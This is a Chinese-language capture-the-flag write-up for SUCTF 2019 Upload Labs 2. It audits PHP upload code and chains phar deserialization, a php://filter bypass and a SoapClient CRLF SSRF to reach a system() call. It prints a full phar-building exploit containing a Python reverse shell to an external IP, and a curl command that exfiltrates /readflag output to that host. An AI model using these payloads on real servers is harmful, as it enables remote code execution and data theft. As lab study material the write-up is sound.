[SUCTF 2019]Upload Labs 2

[SUCTF 2019]Upload Labs 2

考点

  • 代码审计

  • phar反序列化

  • PHP SoapClient 反序列化触发SSRF

  • 使用phar://缺不能以phar开头时,可以使用php://filter/resource=phar://

  • finfo_file() 结合 php://filter 触发 phar 反序列化

wp

有两个功能,上传图片和查看图片信息。

给了源码,和修改后的admin.php,要进行审计

index. php是文件上传功能,白名单限制。func.php是文件读取功能,返回文件的MIME。class.php定义了File类和Check类。至此基本判断是phar反序列化。

首先是index.php,说明了上传路径为 upload/md5($_SERVER["REMOTE_ADDR"]),然后采用白名单的方式限制后缀和content-type,最后调用Check类的check函数对上传文件内容做一个检查,不允许<?存在。对于func.php,是获取上传的文件,采用黑名单的方式封禁了很多PHP伪协议。然后调用自定义的File类来获取文件

然后找获取flag的地方,在admin.php的Ad类的__destruct()使用了system函数,也就是说要对Ad类进行实例化,或者反序列化

class Ad{
    public $cmd;
    public $clazz;
    public $func1;
    public $func2;
    public $func3;
    public $instance;
    public $arg1;
    public $arg2;
    public $arg3;
    function __construct($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){
        $this->cmd = $cmd;
        $this->clazz = $clazz;
        $this->func1 = $func1;
        $this->func2 = $func2;
        $this->func3 = $func3;
        $this->arg1 = $arg1;
        $this->arg2 = $arg2;
        $this->arg3 = $arg3;
    }
    function check(){
        $reflect = new ReflectionClass($this->clazz);
        $this->instance = $reflect->newInstanceArgs();
        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
        $reflectionMethod->invoke($this->instance, $this->arg1);
        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
        $reflectionMethod->invoke($this->instance, $this->arg2);
        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
        $reflectionMethod->invoke($this->instance, $this->arg3);
    }
    function __destruct(){
        system($this->cmd);
    }

接着看,在admin.php中如果是本地访问,并且POST参数admin,就可以实例化Ad类,并且Ad类的参数都可以用POST提交。

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
    if(isset($_POST['admin'])){
        $cmd = $_POST['cmd'];

        $clazz = $_POST['clazz'];
        $func1 = $_POST['func1'];
        $func2 = $_POST['func2'];
        $func3 = $_POST['func3'];
        $arg1 = $_POST['arg1'];
        $arg2 = $_POST['arg2'];
        $arg3 = $_POST['arg3'];
        $admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
        $admin->check();
    }
}

但是Ad类的check()函数的含义是什么?首先通过反射获取$this->clazz类,然后构造一个没有属性的$this->clazz类的实例化对象,最后分别获取$this->clazz类的$this->func1$this->func2$this->func3函数,并分别把$this->arg1$this->arg2$this->arg3传入执行。通过反射创建的类大概如下,这里类的方法和其参数都可以相同。

Class clazz{
    function func1($arg1){
        ...
    }
    function func2($arg2){
        ...
    }
    function func3($arg3){
        ...
    }
}

这里可以使用SplStack类和它的push方法。POST数据

admin=1&cmd=curl "http://121.5.66.238:20010/?a=`/readflag`"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=123456

要想让 admin.php 去实例化Ad类,就要让 REMOTE_ADDR 为 127.0.0.1,即本地访问,接下来的问题就是如何去实现SSRF

而在反序列化里面可以实现SSRF的是SoapClient类,接下来就要找触发SoapClient 的位置。可以看到在 File 类中的 __wakeup() 存在一个反射,那就可通过这个反射,来获取SoapClient对象,然后调用SoapClient对象的check函数,这个check函数SoapClien中并不存在,就可以触发SoapClient的SSRF

class File{
    public $file_name;
    public $type;
    public $func = "Check";
    function __construct($file_name){
        $this->file_name = $file_name;
    }
    function __wakeup(){
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a->check();
    }
    function getMIME(){
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $this->type = finfo_file($finfo, $this->file_name);
        finfo_close($finfo);
    }
    function __toString(){
        return $this->type;
    }
}

接下来就是如何让 File() 类反序列化。finfo_file可以触发phar反序列化,但是在 fuc.php 不能传 phar:// 开头的字符串。在PHP中,php://filter/resource这个伪协议可以触发phar反序列化,所以在 fuc.php 不能传 phar:// 开头的字符串,可以使用 php://filter/resource=phar://......进行绕过

这里直接放反弹shell的exp

<?php

class File{
	public $file_name;
	public $func="SoapClient";
	public function __construct(){
		$payload='admin=1&cmd=python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("121.5.66.238",20010));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=123456';
		$this->file_name=[null,array('location'=>'http://127.0.0.1/admin.php','user_agent'=>"xxx\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($payload)."\r\n\r\n".$payload,'uri'=>'abc')];
	}	
}
$a=new File();
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering(); 
$phar->setStub('GIF89a'.'<script language="php">__HALT_COMPILER();</script>');
$phar->setMetadata($a); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

使用上面的exp生成phar,改名为1.gif,再上传。在vps监听端口,在 fuc.php 中输入php://filter/resource=phar://upload/cc551ab005b2e60fbdc88de809b2c4b1/b1467d0a5330091b554e2d892f7e8308.gif,就可以反弹shell了

或者是cmd改成curl "http://121.5.66.238:20010/?a=`/readflag`"直接获取flag

小结

  1. 原题预期解是MySQL 客户端任意文件读取(MySQL Client Attack),改代码后简化了很多

最后更新于